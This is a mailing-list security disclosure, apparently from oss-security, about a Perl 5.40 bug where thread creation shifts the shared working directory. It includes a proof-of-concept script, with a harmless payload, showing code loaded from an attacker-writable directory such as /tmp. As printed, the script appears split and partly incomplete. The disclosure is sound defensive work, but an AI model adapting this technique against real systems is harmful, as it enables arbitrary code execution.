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 Date: Thu, 22 May 2025 19:11:17 +0200  
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 To: oss-security@...ts.openwall.com  
 Subject: Perl 5.40 dir dup bug with threading: security consequences

Hi,

In February, I reported the following bug in perl:

<https://github.com/Perl/perl5/issues/23010>

The issue is that under some conditions, perl temporarily changes the current working directory at a thread creation, which affects the other threads as a consequence: file accesses related to the current working directory may actually be done related to another directory.

Perl 5.40 and various earlier versions are affected; the bug was introduced in 2010.

In the corresponding Debian bug

<https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1098226>

the perl maintainer thinks that this is not regarded as a serious security issue by upstream.

The following test shows that arbitrary code execution is a possible consequence.

```
-----
#!/usr/bin/env perl

use strict;
use threads;

@ARGV == 1 || @ARGV == 2 or die "Usage: $0 <dir> [ <maxthreads> ]\n";
my ($dir,$maxthreads) = @ARGV;

-d $dir or die "$0: $dir is not a directory\n";

if (defined $maxthreads)
{
    $maxthreads =~ /^^\d+$/ && $maxthreads >= 1 && $maxthreads <= 32
    or die "$0: maxthreads must be an integer between 1 and 32\n";
}
else
{
    $maxthreads = 2;
}

my $nthreads = 0;

sub join_threads () {
    my @thr;
    0 until @thr = threads->list(threads::joinable);
    foreach my $thr (@thr)
    { $thr->join(); }
    $nthreads -= @thr;
}

opendir DIR, $dir or die "$0: opendir failed ($!)\n";
while (1)
{
```

```

    $nthreads < $maxthreads or join_threads;
    $nthreads++ < $maxthreads or die "$0: internal error\n";
    threads->create(sub { do "./dir-dup-do" for (1..30) });
}
closedir DIR or die "$0: closedir failed ($!)\n";
join_threads while $nthreads;
-----

```

Copy the above script to a directory regarded as trusted (i.e. you control what's in it), and there, create a file "dir-dup-do", which can contain just the integer 1 (simple Perl code that does nothing). Then run this script with a directory name as the first argument. Type Ctrl-C (intr key) to interrupt the script.

What happens is that perl sometimes tries to execute the dir-dup-do code from the directory passed in argument (temporarily the current working directory, internally) instead of the expected directory.

For instance:

```

$ ./dir-dup-test /
do "./dir-dup-do" failed, '.' is no longer in @INC; did you mean do "../dir-dup-do"? at ./dir-dup-test
line 43.
do "./dir-dup-do" failed, '.' is no longer in @INC; did you mean do "../dir-dup-do"? at ./dir-dup-test
line 43.
do "./dir-dup-do" failed, '.' is no longer in @INC; did you mean do "../dir-dup-do"? at ./dir-dup-test
line 43.
[...]

```

Here, the dir-dup-do file does not exist in /, so that one just gets an error message. But if a file /tmp/dir-dup-do with contents

```
warn "Err\n";
```

(code that an attacker could write) is created, one gets with /tmp passed in argument:

```

$ ./dir-dup-test /tmp
Err
Err
Err
[...]

```

Note: it is possible to increase the number of threads by providing the maximum number of worker threads as a second argument (the bug is not visible with only 1 worker thread), in case the issue would otherwise not be visible on some machines.

Any comment?

--

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